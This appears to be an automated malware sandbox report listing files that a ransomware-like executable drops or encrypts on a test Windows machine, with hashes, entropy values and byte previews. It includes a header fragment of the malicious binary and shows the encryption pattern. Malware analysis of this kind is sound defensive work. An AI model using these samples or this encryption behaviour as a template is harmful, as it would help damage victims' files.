SHA-256:	52EDB7DBC758F2943A2729136E9C4CA8A5E1B19DAF097C0A077E4F2C1BAE11C6
SHA-512:	6A873F7C29DCAAD61B70CBDD64A4004067159803D8AF84CCE904C7870ACC0F0D7CD292E12989FF2D476E9E31003B3DDB2066F0F63367B4B09DB6B6EB5F98092D
Malicious:	false
Preview:	2023/.x.......kJ8...h...!..{.$.QtS)..,....k#.."..<3....]...`.[..`...l.xi...x'.W.N..6....5;._....\|yXV.....d..}.p..j.}Ttt).r.)=r..t......S.S.\...m......kg.....[G...z...JR...y...+.t...C...,<...1..?..1..C{.qc.@.....t..GTp.3\|.....d+...2:F.q..W.g...}....o....m.........]..b..o...}R.U...F...>.i/..-...g ...pt0..bg.....O.h....r..Bm.;.....+.a....B....t...O.q..wh.!B...'..U..'...}..^....s..Lo..O....D...y.. @Ou..u55.B.\\|.....~$..<........J.q..A.....7D.gt.Q,...l..1..s.../\|x.F...+.D_.n...ZX...v....{.,0..j.Z..e.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.645088758464622
Encrypted:	false
SSDEEP:	12:kk7RnnfRMFciAcHq+jnhUOWGDLOhmDHac4uyuFafXgZ3FSYUYzQVuKMn36Wcii9a:t7JfkVK+jhUOWeLGmGc7afwtkYtaMn3D
MD5:	1C69D03E118EC1171304244F19976F9C
SHA1:	7DC657A1E7188A7B6B4BA6C91C114E8103AB116C
SHA-256:	52EDB7DBC758F2943A2729136E9C4CA8A5E1B19DAF097C0A077E4F2C1BAE11C6
SHA-512:	6A873F7C29DCAAD61B70CBDD64A4004067159803D8AF84CCE904C7870ACC0F0D7CD292E12989FF2D476E9E31003B3DDB2066F0F63367B4B09DB6B6EB5F98092D
Malicious:	false
Preview:	2023/.x.......kJ8...h...!..{.$.QtS)..,....k#.."..<3....]...`.[..`...l.xi...x'.W.N..6....5;._....\|yXV.....d..}.p..j.}Ttt).r.)=r..t......S.S.\...m......kg.....[G...z...JR...y...+.t...C...,<...1..?..1..C{.qc.@.....t..GTp.3\|.....d+...2:F.q..W.g...}....o....m.........]..b..o...}R.U...F...>.i/..-...g ...pt0..bg.....O.h....r..Bm.;.....+.a....B....t...O.q..wh.!B...'..U..'...}..^....s..Lo..O....D...y.. @Ou..u55.B.\\|.....~$..<........J.q..A.....7D.gt.Q,...l..1..s.../\|x.F...+.D_.n...ZX...v....{.,0..j.Z..e.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.483638583271149
Encrypted:	false
SSDEEP:	12:GeYqj1HKuL5axKQ8ItRbN2IAbLyys36Wcii9a:GeYAoAQ8QNh8M3zbD
MD5:	52452FE7B6710D13366B67C38A986593
SHA1:	6799D8F29A374BF5C737725D5639B645892936D2
SHA-256:	BA7AA849DD7F493AC130575878860BC58F69FEBCB96513BE7B60DB53BEF61AC7
SHA-512:	4294FA449F912C4D0BCBF1D015A517233CD7A844E485E549CEFF9C75D5D4F6FB9B6E31021AB7BF3C6A07609EBB17722E0A41BFE6ED034BC4F73FC2BA2295EF68
Malicious:	false
Preview:	.h.6.9dm..5.K...i...!.......&&.;{.m..aZ...j...........g.8.a..._.. \..s......M..6.P....<..(.:'4.....;m...1.i}..>k..C...=../t..U...(.h....m.li..;.1..OR..."...6M.........Y.vC....1.3v..1....V...?.V.z.W......$....:J9.r n....a..x....Qd.8...S..<....k{.jD.......!X.tCH.k..P........7.KtD..8..E.X&A..Z.&K..$..).}.A.Ox-FPV.[...h....VX.:..8.p]W...--~..X.y.....c\|..V!.=.yU....N..K....{S...&......E\.V...j..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.483638583271149
Encrypted:	false
SSDEEP:	12:GeYqj1HKuL5axKQ8ItRbN2IAbLyys36Wcii9a:GeYAoAQ8QNh8M3zbD
MD5:	52452FE7B6710D13366B67C38A986593
SHA1:	6799D8F29A374BF5C737725D5639B645892936D2
SHA-256:	BA7AA849DD7F493AC130575878860BC58F69FEBCB96513BE7B60DB53BEF61AC7
SHA-512:	4294FA449F912C4D0BCBF1D015A517233CD7A844E485E549CEFF9C75D5D4F6FB9B6E31021AB7BF3C6A07609EBB17722E0A41BFE6ED034BC4F73FC2BA2295EF68
Malicious:	false
Preview:	.h.6.9dm..5.K...i...!.......&&.;{.m..aZ...j...........g.8.a..._.. \..s......M..6.P....<..(.:'4.....;m...1.i}..>k..C...=../t..U...(.h....m.li..;.1..OR..."...6M.........Y.vC....1.3v..1....V...?.V.z.W......$....:J9.r n....a..x....Qd.8...S..<....k{.jD.......!X.tCH.k..P........7.KtD..8..E.X&A..Z.&K..$..).}.A.Ox-FPV.[...h....VX.:..8.p]W...--~..X.y.....c\|..V!.=.yU....N..K....{S...&......E\.V...j..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.649603866579207
Encrypted:	false
SSDEEP:	12:kT3LL6BmylBqUF0itA01J6XIlYdOouMk8il0qq01Ea25/JGP1MnRbhD36Wcii9a:wUS0D6XFbuMkzl070Wa25oeRdD3zbD
MD5:	BB4A6DB2C3DD0258B0401FBBE01BC376
SHA1:	DFAE60BF6467A1E1BDACEEB8D8F17C3EF82A9DF7
SHA-256:	750E352365B7F77A6EB91EAA001DCC3714BB7E6917E25AA53083B3644AD9E6B2
SHA-512:	267A80D6D0CB87F85FCD62C12C15DD320DEEBFFDB1D510616DCAFFB7B40EB24D89CD418F170D737B5A0F545CC6573E3091FD4094C30B6BAB92894CB95A7D8261
Malicious:	false
Preview:	2023/.1....:......&r..OE..j5)a..2<...L....s.N.f$..s.S"K.....O.o.........Bc.v..B.]>#s64....{$%.C..%k....o..'...<T.\v..m.7.....~O.....JP4JT.E.+t...>e.#...p#?K.4}.Lh....q%...b...oL7yH~.."Y.H..h.Q.....m.4...U_...6.nVl.O3...M........T<.....9?....2s...Fb.o....>....7.?.[..1a.m'9...=...."..........G..6.....! JNiQ(.8..........B.....,.......s.1./g..S[..=\C...9\|!vF..$..7./..+%...0.$,.kG..1....yn...b'..Fh..)03....)...{B.n^.Y5.4P%t..YG:....~A..N..T..*...n.NLw.........o.#IH.2~..Ma.I...\|S....... 5.`..K.L....YR..v.....Y.?0HjG......E&.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.649603866579207
Encrypted:	false
SSDEEP:	12:kT3LL6BmylBqUF0itA01J6XIlYdOouMk8il0qq01Ea25/JGP1MnRbhD36Wcii9a:wUS0D6XFbuMkzl070Wa25oeRdD3zbD
MD5:	BB4A6DB2C3DD0258B0401FBBE01BC376
SHA1:	DFAE60BF6467A1E1BDACEEB8D8F17C3EF82A9DF7
SHA-256:	750E352365B7F77A6EB91EAA001DCC3714BB7E6917E25AA53083B3644AD9E6B2
SHA-512:	267A80D6D0CB87F85FCD62C12C15DD320DEEBFFDB1D510616DCAFFB7B40EB24D89CD418F170D737B5A0F545CC6573E3091FD4094C30B6BAB92894CB95A7D8261
Malicious:	false
Preview:	2023/.1....:......&r..OE..j5)a..2<...L....s.N.f$..s.S"K.....O.o.........Bc.v..B.]>#s64....{$%.C..%k....o..'...<T.\v..m.7.....~O.....JP4JT.E.+t...>e.#...p#?K.4}.Lh....q%...b...oL7yH~.."Y.H..h.Q.....m.4...U_...6.nVl.O3...M........T<.....9?....2s...Fb.o....>....7.?.[..1a.m'9...=...."..........G..6.....! JNiQ(.8..........B.....,.......s.1./g..S[..=\C...9\|!vF..$..7./..+%...0.$,.kG..1....yn...b'..Fh..)03....)...{B.n^.Y5.4P%t..YG:....~A..N..T..*...n.NLw.........o.#IH.2~..Ma.I...\|S....... 5.`..K.L....YR..v.....Y.?0HjG......E&.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\.curlrc

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.198672719729235
Encrypted:	false
SSDEEP:	6:KW7XH9hhjU5nEargOerqKJIcPlG/dc7W7VRImAlnkTCFSOQhKya3OsVolWbz6Wcq:NFjU5HrgHpfgu7WZ7cSOKkx36Wcii9a
MD5:	D519AA97D6268851DE3F4A47B96FC187
SHA1:	F0F28879CD88FE383EEDFA33C5E2E899AD55769F
SHA-256:	C509B62EC10B716A638163310CE76483B2FB1C1A7E610F2BE5C967FC92DD06B6
SHA-512:	4560A6D86FE5E1D0F851B5E4CF723437F2EF2D8D869B3170C96F78655DE17AD0BF1389DFC4BB331DEE32D09A12CF7F4BD4D18AFBEA8CA898F30EA20A5DA43664
Malicious:	false
Preview:	insec.B..:.X..u..d....7KG.mj3..Aw....._.....,..C.......0.6..."..d...V._x...fh.2...])X.... .....V....T...E-yA...B......h9.>.m.._P...t..Y\|..)..P.......V...F...G.>.J..:h...x..>......>U..../6j...P..h.......KV.....sJ........4o.J.'8...:.d.'.k.8....#. ...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	792576
Entropy (8bit):	7.218713424751825
Encrypted:	false
SSDEEP:	12288:ql94y1dr5PGO5XO9zPJeVV+3hLQlzLYBcPs91BlpFIZVQpxiMmwBnV++ic6/B:qT40RBxXO0+R829XlHpxiMDv++ic65
MD5:	0B5606B5BD61D8026FBCF1A217248485
SHA1:	905991E3483187CAD6D9DD51CDE2A3A4AC168E62
SHA-256:	48BA4B8F4D87039EE33CAC2AF62A67EE1FD9B3B1B02F4B183F78A7C326B4E42D
SHA-512:	5C53F4910545CB3A8B58675538E714C5296F15368D34D34D0E17F7F2F36B101915E46080697E0BCBBEA2B17689047B21D7F5F29BC09DF28AC7AD9C279B7B65C0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+...+...+...5.r.1...5.c.:...5.u.`....,......+...R...5.\|....5.b....5.g.*...Rich+...........................PE..L.....Oa.................`...................0....@..........................P..............................................T%..(....... 6...........................................................$..@...............H............................text............................... ..`.data........0...\|..."..............@....rsrc... 6.......8..................@..@4\...ud..P.......B.................. ...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.867196333062257
Encrypted:	false
SSDEEP:	48:znW/B5yqVYeHLDkhcutdz2N843RcWfAvL3nD:a/B0qVYMDkJX8oQA3
MD5:	0454507CE132966272BAF13BD6DE4C73
SHA1:	B59087FAE04C1CC0FEEC3BDC259036F43DCFB091
SHA-256:	3665F4D8D8421CC907A8500DAF37D8E587AEC66D6F3D7CFBCA0A102862DCA526
SHA-512:	4BEC24E5B65FE0C9FFB86B040A5EBA75CEECC3082B0013501EA701C557AA6BA997F32EDE283521E8CAA2F88B2394EC272BC83E2E0FD3220E6DA9F4F81776E91B
Malicious:	false
Preview:	%!Ado..+..c...zuR@.r.......O%.p......6X....i..V(..."o.-.;.sAyF...1.(7.V.mr-].B....Na.%$.?......%.'....B?_..r....#^s.(...4W..d.`+....8..e.......l...T......t.....L.v.7.Nz.."`v........i......&A.-S....[.h..:..[.....U.Ps..,a..c...`\|..2`.;........aq...Qimx.F.w.}4...5....-..I...!..w.jy0../...Y.W.uzJ.1...)..9..;6.&..c~..$.c.#.V...r&.tm)..=,..:.2.....r..P...r..&.WV../&..nH.2.L.B..I..6.WG......4...u...^...'z.xI...@..P....F..D.g..OH.O.8.%........Y.-<.Ue\|lg.qB..09.U4.S.,r.~.......lb..r.4........u.aR....=.._q.0..E.e.7.S."..y.j@S...).s\|]...[...A....BK.I..l._.1..B........F&V.M}.J<..Y.0.Z].x.QuN.:TeN.JI:V......I...%.{.1H.8.z....&....,..B+...._.......b.RC.....{..s=Ex....%.U...u.d?.H..ZmO.......H..f..D.;V.r.....$N5...s...H.HP.o .eWlk01.@.:.d..H.............".0#.K.J./3.m..aNubbe.0..Y.V3JX..vD`......m.#l..>l./w.J.`i..C.zp..U..4.`..T}.v#.^8....J\|Yb..q..I\|b.....A?..p.\|[.^4...JKrM..........b.6a.8..2iN.j...c..P..9a.K.[.r4.R.m..;f..Q.8.B#k@..D..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.8770300548365215
Encrypted:	false
SSDEEP:	3072:qzYkYVxf+n773x+3IiQJaQiQw4qWCt1CdIPRRndOavz9IwgsCJdCVZXE07Zmandt:YYkYTK7h+YrEQiSqF1IIptdOab9TgsC+
MD5:	5F8055D211BF2FE8DC77D2479CCE80FC
SHA1:	BC37ACB1D0CF78DC6F89E3989397F73F65850CC5
SHA-256:	D66BE97A8C31DD38F66026A5FD48EAFA090B05650D21D32055B3D9B35CE851D1
SHA-512:	957FB5E69B30A9FA9E6A5E0A09679D27B521CABCE5B32D126554D34D128109AC8B5BC5080E90E80EC3310F0ABDEE23C2D970403B9972B976CA2BAF9ECFA689AD
Malicious:	false
Preview:	%!Ado+c...]...8.QU.JCU..G.f^$XSH..K..~E.......D...Z.%..[..Z._p...F\}.R.]..9.w...v#..dW......s..P..kO%c..`:(...g..6.t^..+..MpBD.H..{.K@#....4d.l;.!.......2.;..-.....A..\|.<..PW.+.Hw...^...-.?....o..W5.\+%u4.....9c.Q.......W..x^...s..<....F..'..T8~..{z...<.....d.{.9...Z)U.f.GD.\.@...Z...^.....M..8k.r;..W...$..B8(v...H...+.%.M{~%A......?.w...^=.)...6f..:.....Z.P..3...8...%D..i...,cu....6L..1..k..=f..k.+'....Mx...($..9_.+.O\q7`..[.<..8..@.....).W..,.i..B.z....(..bg]1....aRRo.>:P.D. .j.\"K..(z..G..L...$....]...)..iJ.'..V..H......U..i....R..e.[...QC..M..Wm.Op.O.V.......\|mecXWqa.q^....~8C..X...)........!w.^w...5..H..3..W":F 6r.7..uP_..q.......NE..b^...;.G...z....Q+..z..3.F...XQ.R..].A...t..#.r..an....p..E&..t.x..E..ea.%.I..7..U%..Ii0.F..<..%...:vC..2=^.....I.h{.K.l.<.......N..\..%\|.g.$&\|Hl...:..'B..h(N..N.....g.-..X..3.i.........8..zt6.......Ln........,.pd2V..h.2.v.*..=.e.x.I..........L:$...q.E.-:.,..W..U.......U...A...C.6Y..n.P.W.}..w.q.g.H..\

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.818468716753701
Encrypted:	false
SSDEEP:	6144:9vWPz4IN3W4n7cLOrJ+bJzt2vHWKcesnx:G4Ih/c6rJ+9QWP
MD5:	F4CB884A6685E9BB0BF5E2D15E265EE5
SHA1:	9BE576235323F6FF17F40F874315C75BDE4C9E18
SHA-256:	45C68E2F4FFF0FA53BEC6315AD8023BB5877CF895E272774AF281C89EAD2CF22
SHA-512:	662086183E82295F8EB17B4AB71E7FCED1AD9D68CC3D34D0F62410E0AC5951198E53186DA67AD78671630E4E4E26B93AB8C3FB655378C5EB10E4EE401363EB08
Malicious:	false
Preview:	Adobe8I..U..IN.u..~...(.^.s......4aN..w.\|.a.m.3:_K.h-.4;..\|...9..<.Q..,"..o.V....n..`...Ex..../RH.f../.l..(...ky...d,j.+.O.s....m...W.W...G62d>..i#n.i......H......g.)g.....5./....W..mi\..G;]...dQ.x....}.Yq.=N.0V.e....n....9^...v.......<.Ti..5}.......'.....l-..V..)..@....DhI..u..h..O2...........R.J....N..........U>.#~..C..nW.v....2.]{f=..'....j.b.$..f.9............c.....A?......)o..V66b..0...X.$...t..H.d.rW......u.p..5F.)4L.....d.+...<iIL Gp.HA..7D./kH...\r`3.qq..m.;F..%......I.wP#f.."...m........h.7..+...39.K..+.Nn..c{Cd.......8....&.....M..jT;0o.....<....{.......R...ej...%.0..d.....?....\...v.w....as....U......../\#BN...1I...+....d]{.t......2e......k.UUi..W...:e.:r....\gIR..@.G...9..C..R...x.Zi..N.P.F9.....2...B.*.....CW....h...H,.J..e{....#z..>3.bQ}A.?......eY...}Opc..P...E.3........d...eEJF}..@...=.>..1..:..f...\|.hO.@!........3.....J...D.5.O....:.b(.t.@..b..@...<......?....G.......9=qH......6.p..........:..N.s.........i.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997253623746181
Encrypted:	true
SSDEEP:	1536:6wj3htpiAO2AEOFwcHnpj2WZlp6dIWqRAIutM5:ljxviBNwsnpj//pTZ2IutM5
MD5:	D45F2538C7C39386D0C32B7AD0564782
SHA1:	E56D8032C19FF5CCE3982B2094039667ED1A6617
SHA-256:	2F3E0A2176654D0E83F9CA4EEC5F5C31F4E4F5D463A92123144051D77FC7FD22
SHA-512:	8AC9F5DE9EEADCB5EE04344D95773E07FF276FEC03D20C2E455060AB353B1852CD4B289D1C32A340455E8EAE996788437DF1A2668DA1620E2D62D0DD8501B173
Malicious:	true
Preview:	4.397y.D.y..Ut^..N.N.f!9V\..Ms...T..vL+..p.O.I.4...,9Oc.K......)[."...Q.^..-.-c.2.&vX.....u...G.P...l49Z.....u.3..R.V[.qg..#.a..;.+guw1Vk7.......5..a..v.@...>..&.F....P."Z..b7..N..O_.l..Gj......s4t]..'.E@E^.A...#..X.Z......nW.B8/Zsi.9.vee..y..G#....b..BL../..........0.....r...kql..#<.Ka...i..(o.S......$+.K.)........%X..W/U.8....l......\..x.<c..z.R.t......RD.l..L.!.l.+.ly..0me..-....i.yT.10......i.......%..V..>n..8;....7..7Zr..m..}:....azj.L..+C7-........@..K..L.e:#0l8..#..'pBj....#8^.1..~~X6...5..N.......@;Y.w.r.+x.a.-.....D.{^...!.o.Y,...V"+.do...x.....{..Ih..a......_".L..e...&..p.e..$.........w..>].q.@.y...L_..e.0......-f+\|....z....O.9.....J..TL..t.'..W...&....@......hy.q*.<..5?....R\|.Q.3.M.\f....(.......K..],..la.+._bf.`,.9..;....-...n......@..."....5.}.c&:.Irkc<x.h.....O7>.k.....2..7.5-........Y......W.i5r...s.L.0....B......Q.+_...F.r..d......2...(.H2".O.i2..).57.[ ...9X...o.l...o.I.1X...VY.3&....KhS1T8.(..d.l.I.......@

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.784675084625645
Encrypted:	false
SSDEEP:	24:OniHq0TBQenuWZTlOW65pFwMM/AaFmaiED3zbD:5FQeuWZTlzI7wMKAaFmMD3nD
MD5:	5DA4EF00C70CD280D443230843679C1B
SHA1:	1E15D548F26001586210182CFC4940BE422CB0C5
SHA-256:	23D3298623231A2F4D546398E9FF1838AC49CE651517EB21186977C94AE472DB
SHA-512:	41C0C07065A9A61344C8D847EE6355D34A027CCCC619ED297C285540F73D9C561D8351B90302182162F55468DAB4826FB7F300769A9633277BC043B2B5556476
Malicious:	false
Preview:	CPSA.w1A....S.1....>j.:zf...A..xK.$.7.O..2..........h.......O.$?.`1..8..\|.....a[.(...9...F..V.....B.Xr.u.......be.B)....w..3...Y.....Y.+{~[..@...l~.Q0.+=\|...=..x...(..V@.f.k.s........x}.s...].7..5T......-.cF.W-.JF......Dq.S..n.U.-V.:.o=G.^=fOvv1t...y..9.\....1.(Y-[.l.......?."......@}.....n?Q0.#..NV8..&.W...fw.&!....o.$. ./.....7.:....H.....[.:;.,l.(T......1._B...q.\.O%\|...h.5...Ik.....],...3...g0B..H..7..d....g.sF2..AY).m#.#?..c.:..Or...>bo7_.E..v..r.F.. ....l.b4.?N.6.?..P..H=C..'.<.3....6.....L.......o........+Sj8E...9.7.......V8...^.?P.Z4D.L.....p.%.(...V......Hp...]..>...a....?r.".-?.[...mc.@C.F..P...6hbpxLQ.<..3..9t&...&\|X....b;......}.0....H#Q...Xg...i[<.i.4...2.......p.v..[.DC..j.....x".%Sth..v.I.ip ./.."..(m..n..AB.K..Q...*L.o.\j.......?5.!.j.....Q.nru..2....5.\|..K.c....\=E...@..v;G^.dbi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981203995974412
Encrypted:	false
SSDEEP:	192:B1IlrpmTtujup4gZXpY2ptv7B7AyiNuqX6mgErw:TECujuSgdpvttVikqNjw
MD5:	723B9FCFFF3607F8A269544E24279772
SHA1:	6860D34A2BEAF7A63E14432E7FE67A0B0C88D025
SHA-256:	24426F75E740AF82441842766FAA7F35B65301BF1A98348265B0441C1D1B2819
SHA-512:	BD55F4DF71C0817E58FEF1842FE48EE79D2B797276BEA9172C52CEADBF5DFBE34E8FCB817AECA3E5E81CD36F8461D25FA09F04A6B98D1CD5463E01DB65A79F96
Malicious:	false
Preview:	.M.#......&. .....rH.d.Sh...?qi=...'.....Nu...D..[...V.+..P...=.;,.....}(.$..6d?K~-.q.h.......b.7_.U..C...f$..wtyo6...v.`R...=..$..2.h.@s.,-!..s...9.S....)9=..}#.;.."O..o.L.....'.....k./.....Z}.k8h.\|+..Y..\.:0.....N.....[..g..:,'.q....m.:nu[....<.#H[...;......Nv.....nA{.`.eg9.Z:.]"J....{iS_.~..r..2.A'Q{..8_.H~N@....YM(.j.........zh.e...v...w...X?"Q.%..Da%.....&q.(.1.......5s.a.cAP.3 ....8...Q...(R5)........q...%.T.C(.....u{J.5qO.S%.'..R..UqEC~.78h.!..Y.\..r.S..Df..X.....o/'p..S..SK.S.m.,.-X.).v'......}[9~.p . .......X.hJ.l.....@9Gs..)...<.).;]...,...*=[k.RK...m?c.U..._....K{Vl}5..,.7.m}b..,......Y._...x+k..JQ...n...M.y........a.5.Y .O.r.v..aE..DZ.0....O.j.).d...#......_......Z.zJ...6..(g..N..]..\|.l.UE.^.x...U[.......w.4.~.=._.....jABG..\;...\|........2..>Z ...\|..L...l.=r..y.Rw.F.q.."b...}pn<.\...UH1...?#.IzJ......<...O..'.....\|..../....c\|.1....>.N..q0..4...L.c.....AuV..=....7..{.....tu.Z..Q.i.`S............c....u...$.xw).....}.!o3...8..Z9,..

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7330337682059715
Encrypted:	false
SSDEEP:	6144:i9sYmMe3PA6yAbx2xuICVSq4Yo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3TGXZAca:ibg3Pxys2wICVS54fCdYSh
MD5:	EFB51592B43D6E7F11CA08AF303430A6
SHA1:	1E025613B2B1855EC90B21DE94AE0C25A8539772
SHA-256:	F54626123FE0F3F5564D06C62E863B985A679D912E91024CEB632811F681002E
SHA-512:	31ED827572786A2570803339A02FD6B5DA6DD5C6F30E5BC03E15A5A148EDE27046602BA371E1FCAB6C5D687A06B9FDB31ABEC43C3E39B4E3847BDE08DEC93BD6
Malicious:	false
Preview:	...?.....%.a>...U.Q{...6j.....,!.+......;w.k.HGZ'L.].Q..r../L.....<`.\..K/7....)?...0r.!.../...4.s.....>K.J.6.q/3...f....=..Np).#Q...A.t4..hj..<...g....y.% >.....t............I..]....C.......H....L...{....:..hl..P..\t.?....h.S.m.^.=.......Y.K..VR.i.{..?hT......3RQ+.N.=...7...+...3g.R9e..'.. `V...p.....u..].)......p_..p.HTts{..U......'B..."Q...a:...p..5.h......j.]._+.ID....3@...2......Q.0..K#@iU.....#.S2.%F...t.g(`Ft..j8.8..t....K.:.D.[vF..#.-.a.b.2....+..s...O~.......\|..s.V$VO.......v..P...U..........~.......g.j4..]4.S.....{.+a.n.:m..f% e\|02... ..).V..7.....g.,.}.D........:..B.4O.\|..A2..g....z.....%.... x=..\m%38v./.#..Uw`......n..<.M..H!Q......,.<&.m.....o.=.........J.M......=.u.{...0L.2.7.<iw.!..XHD..W.kLY^mX...D3.9. .Dn.]..l.W......B.5...8&.1.>^....dc....N.".O!)..].....k.b.6..d0}.y. Mh....E*B..'.%.w....'.....U.................w.i.b,....T..w7..0.O.q=.....>....h...I.ec.j\|...).......SzO.b...Q..k......o.S<....g<...Z.............u

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705955854640566
Encrypted:	false
SSDEEP:	3072:gesyoE0wYAfwgvj3duqtp/EJuST0tTFqn6gHTqmwv8+BL+m2uK51Kjxb:zo9Dkzvj3d/YJzWTFxaqmwv8+Zpm1KN
MD5:	DF8436EFDEEDB1304887029405FB16E6
SHA1:	A4550F1AD96084A09710924D5A76F8D8A9267718
SHA-256:	4F12C72BD3E999F5863ED58793F05849B317AF5DFAEB849B1804F643CF7B6455
